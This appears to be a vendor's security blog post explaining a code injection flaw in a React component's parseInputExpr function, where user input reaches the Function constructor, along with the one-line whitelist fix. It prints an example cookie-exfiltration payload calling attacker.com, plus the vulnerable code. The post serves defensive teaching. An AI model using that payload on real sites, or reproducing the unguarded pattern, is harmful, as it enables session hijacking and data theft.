Back to Blog
high SEVERITY8 min read

How Unsafe eval() in JavaScript Happens in React Components and How to Fix It

A high-severity code injection vulnerability was discovered in `TurnPlanner.tsx`, where the `parseInputExpr` function used JavaScript's `Function` constructor — effectively `eval()` — to evaluate user-provided mathematical expressions. The regex guard in place only checked for the presence of arithmetic operators, not whether the input was safe to execute, leaving the door open for arbitrary JavaScript injection. A targeted whitelist fix was applied to reject any input containing characters outs

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published August 26, 2026•Reviewed August 26, 2026

Answer Summary

This vulnerability is a code injection (CWE-94) in a React TypeScript component (`TurnPlanner.tsx`). The `parseInputExpr` function passed user-supplied strings directly to `new Function('return (' + s + ')')()`, which is functionally equivalent to `eval()`. The original regex only checked for arithmetic operators, not for dangerous characters. The fix adds a strict whitelist — `/^[0-9+\-*/.() ]+$/` — before the `Function` call, ensuring only numeric and arithmetic characters can reach the dynamic evaluation path.

Vulnerability at a Glance

cweCWE-94 (Improper Control of Generation of Code)
fixAdded a strict character whitelist (`/^[0-9+\-*/.() ]+$/`) before the `Function` constructor call in `parseInputExpr`
riskArbitrary JavaScript execution in the user's browser context, enabling XSS, data exfiltration, and session hijacking
languageTypeScript / JavaScript (React)
root causeUser input passed to `new Function()` with only a presence-of-operator regex check, not a character whitelist
vulnerabilityCode Injection via Function Constructor (eval-equivalent)

How Unsafe eval() in JavaScript Happens in React Components and How to Fix It

The TurnPlanner.tsx component handles user-entered mathematical expressions — a common UX pattern for planning tools where users type things like 2+3*4 into an input field. But a flaw in the parseInputExpr function, specifically at line 530, turned that convenience into a serious security risk: user input was being passed directly to JavaScript's Function constructor, which is functionally identical to eval(). This post breaks down exactly how the vulnerability works, how it could be exploited in a real web application, and how a single targeted line of code closes the gap.


The Vulnerability Explained

What parseInputExpr Was Doing

The function parseInputExpr is responsible for taking a string value from a user-facing input field and converting it into a number. For simple cases like "42" or "-7", parseFloat is sufficient. But for expressions like "2+3" or "10/2", the original code took a shortcut: it handed the string directly to JavaScript's Function constructor.

Here is the vulnerable code path (before the fix):

function parseInputExpr(v: string): number {
  const s = v.trim();
  if (s === '' || s === '-') return 0;
  if (/[+\-*/]/.test(s) && s.length > 1 && !/^-\d+$/.test(s)) {
    try {
      const r = Function('return (' + s + ')')();  // ← DANGEROUS
      if (typeof r === 'number' && isFinite(r)) return r;
    } catch { /* fall through */ }
  }
  return parseFloat(s) || 0;
}

The guard condition — /[+\-*/]/.test(s) — only checks whether the string contains an arithmetic operator. It does not validate what else the string contains. The moment that condition is satisfied, the raw user string is interpolated into Function('return (' + s + ')')() and executed as live JavaScript.

Why new Function() Is Equivalent to eval()

new Function(body) creates a new function object from a string at runtime. It executes in the global scope, not the local closure, but it is still fully capable of running arbitrary JavaScript. There is no sandboxing. Any valid JavaScript expression or statement can be injected.

A Concrete Attack Scenario

Imagine a user types the following into the TurnPlanner input field:

1+fetch('https://attacker.com/steal?c='+document.cookie)

Let's trace what happens:
1. s = "1+fetch('https://attacker.com/steal?c='+document.cookie)"
2. The regex /[+\-*/]/.test(s) → true (there's a +)
3. s.length > 1 → true
4. !/^-\d+$/.test(s) → true (it's not a simple negative integer)
5. The code executes: Function('return (1+fetch(...))')() → the fetch call fires, sending the user's cookies to an attacker-controlled server

The return value of fetch() is a Promise, not a finite number, so the result check typeof r === 'number' && isFinite(r) fails and execution falls through — but the side effect (the network request, the cookie exfiltration) has already happened.

More aggressive payloads could manipulate the DOM, redirect the user, or exfiltrate application state. In a React application with access to routing, local storage, or authentication tokens, the blast radius is significant.

Real-World Impact

  • Session hijacking: Steal authentication cookies or tokens stored in localStorage
  • Phishing pivot: Redirect users to a convincing fake login page
  • Data exfiltration: Read and transmit application state or form data
  • DOM manipulation: Inject fake UI elements to trick users into submitting credentials

Because this runs entirely client-side in the victim's browser, there are no server-side logs to detect the attack in real time.


The Fix

What Changed

The fix adds a single line immediately before the Function constructor call:

if (!/^[0-9+\-*/.() ]+$/.test(s)) return parseFloat(s) || 0;

Here is the full before/after comparison:

Before (vulnerable):

if (/[+\-*/]/.test(s) && s.length > 1 && !/^-\d+$/.test(s)) {
  try {
    const r = Function('return (' + s + ')')();
    if (typeof r === 'number' && isFinite(r)) return r;
  } catch { /* fall through */ }
}

After (fixed):

if (/[+\-*/]/.test(s) && s.length > 1 && !/^-\d+$/.test(s)) {
  try {
    if (!/^[0-9+\-*/.() ]+$/.test(s)) return parseFloat(s) || 0;
    const r = Function('return (' + s + ')')();
    if (typeof r === 'number' && isFinite(r)) return r;
  } catch { /* fall through */ }
}

How the Fix Works

The new regex /^[0-9+\-*/.() ]+$/ is a strict character whitelist. It asserts that the entire string (from ^ to $) consists only of:

Character class Purpose
0-9 Digits
+\-*/ Arithmetic operators
. Decimal point
() Grouping parentheses
Spaces

Any character outside this set — letters, quotes, backticks, semicolons, square brackets — causes the function to bail out immediately with parseFloat(s) || 0, never reaching the Function constructor.

This means payloads like:
- 1+fetch(...) → rejected (contains f, e, t, c, h, etc.)
- alert(1) → rejected (contains a, l, e, r, t)
- 1;import(...) → rejected (contains ;, i, m, etc.)

All legitimate mathematical expressions — 2+3, 10/2.5, (4+6)*2 — pass the whitelist and continue to work as expected.

Why This Approach Is Correct Here

The whitelist is tight enough to block all known injection vectors while preserving the intended functionality of evaluating simple arithmetic. The fix is minimal, scoped to one code path, and does not break the build or existing behavior.

Note for production hardening: The ideal long-term fix is to replace Function entirely with a dedicated safe math parser like mathjs or expr-eval, which parse expressions without executing arbitrary code. The whitelist fix is a strong stopgap, but a purpose-built parser eliminates the Function constructor entirely.


Key Takeaways

  • The operator-presence check /[+\-*/]/ in parseInputExpr was not a security control — it was a routing check. It determined which code path to use, not whether the input was safe to execute.
  • new Function(string) is eval() by another name. Any user-controlled string reaching Function('return (' + s + ')')() is a code injection vulnerability, regardless of surrounding checks.
  • A character whitelist placed immediately before the dangerous call is the correct pattern when you cannot replace the dynamic evaluation entirely. The fix at line 537 demonstrates this precisely.
  • Arithmetic expression evaluation is a common feature in planning tools, calculators, and form fields — and a common source of injection bugs. Always use a purpose-built parser, not eval.
  • The typeof r === 'number' && isFinite(r) check does not prevent exploitation. Side effects (network requests, DOM manipulation) execute before the return value is ever checked.

How Orbis AppSec Detected This

  • Source: User-controlled string input passed to parseInputExpr(v: string) in TurnPlanner.tsx
  • Sink: Function('return (' + s + ')')() at line 530 of src/components/TurnPlanner/TurnPlanner.tsx
  • Missing control: No character whitelist was applied before dynamic code evaluation; the only guard was a regex checking for operator presence, not input safety
  • CWE: CWE-94 — Improper Control of Generation of Code ('Code Injection')
  • Fix: Added /^[0-9+\-*/.() ]+$/ whitelist check at line 537, causing parseInputExpr to fall back to parseFloat for any input containing non-arithmetic characters

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The parseInputExpr vulnerability in TurnPlanner.tsx is a textbook example of how a well-intentioned feature — letting users type arithmetic expressions into an input field — can become a serious security hole when the evaluation mechanism is eval()-equivalent. The original regex guard felt like protection but only checked for operator presence, not input safety. The fix is elegant in its simplicity: one line, one whitelist, zero ambiguity. Any character that isn't a digit, operator, decimal, parenthesis, or space never reaches the Function constructor.

For developers building similar features, the lesson is clear: treat new Function() with the same suspicion you'd treat eval(), and always validate user input with a whitelist before any form of dynamic code execution.


Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #1

Related Articles

high

CVE-2026-4800: lodash Template Imports Allow Code Execution

CVE-2026-4800 affects lodash's `_.template()` templating API, where untrusted input reaching the `imports` option can lead to arbitrary code execution. The fix was shipped as a dependency upgrade from lodash 4.17.21 to 4.18.1 in the project's lockfile, though the PR itself notes it was never verified against the actual code paths in this repository.

critical

proxy-addr 2.0.7 IP Spoofing: CVE-2026-90711 Trust Bypass

A critical vulnerability in proxy-addr 2.0.7 allowed attackers to spoof client IP addresses by manipulating X-Forwarded-For headers when the trust chain evaluation contained specific misconfigurations. The fix in version 2.0.8 hardens the trust evaluation logic to prevent IP address falsification in Express.js applications relying on this common middleware dependency.

high

TweenMax `_applyCycle` Prototype Pollution via vars.cycle Keys

A bundled copy of the TweenMax animation library copied attacker-influenceable `vars.cycle` property names straight onto a tween configuration object using an unguarded `for...in` loop, so a key named `__proto__`, `constructor`, or `prototype` was written through to the object's prototype chain. The fix adds an explicit key denylist to both copies of the `_applyCycle` helper so those three names are skipped during the merge. No CVE or GHSA is assigned; the issue is tracked as CWE-1321 (Improperl

high

picomatch 2.3.1 ReDoS: Extglob Pattern Catastrophic Backtracking

picomatch versions below 2.3.2, 3.0.2, or 4.0.4 contain a Regular Expression Denial of Service vulnerability in extglob pattern parsing. An attacker can cause catastrophic backtracking with patterns containing nested alternations and quantifiers, freezing any Node.js process that evaluates untrusted glob expressions.

critical

pet-window.js Dynamic Code Evaluation: CWE-94 Hardening via Number

The pet-window module constructed dynamic JavaScript by embedding raw configuration values into code strings. An attacker with local access could inject arbitrary JavaScript by modifying stored configuration. The fix replaces string interpolation with explicit Number() coercion and NaN validation for all numeric configuration parameters.

high

sanitizeUnicodeInput(): Fullwidth U+ Bypasses Codepoint Validation

The `sanitizeUnicodeInput()` helper used by the project character-range settings screen rewrote `U+` prefixes to `0x` and called `parseInt()`, but never normalized its argument first. Compatibility-equivalent forms such as fullwidth `U+`, superscript digits, or mathematical alphanumerics never matched the `/U\+/gi` regex, fell through to the `else return inputString` branch, and were handed back to callers verbatim as "sanitized" values. The fix inserts a `String.prototype.normalize('NFKC')` pas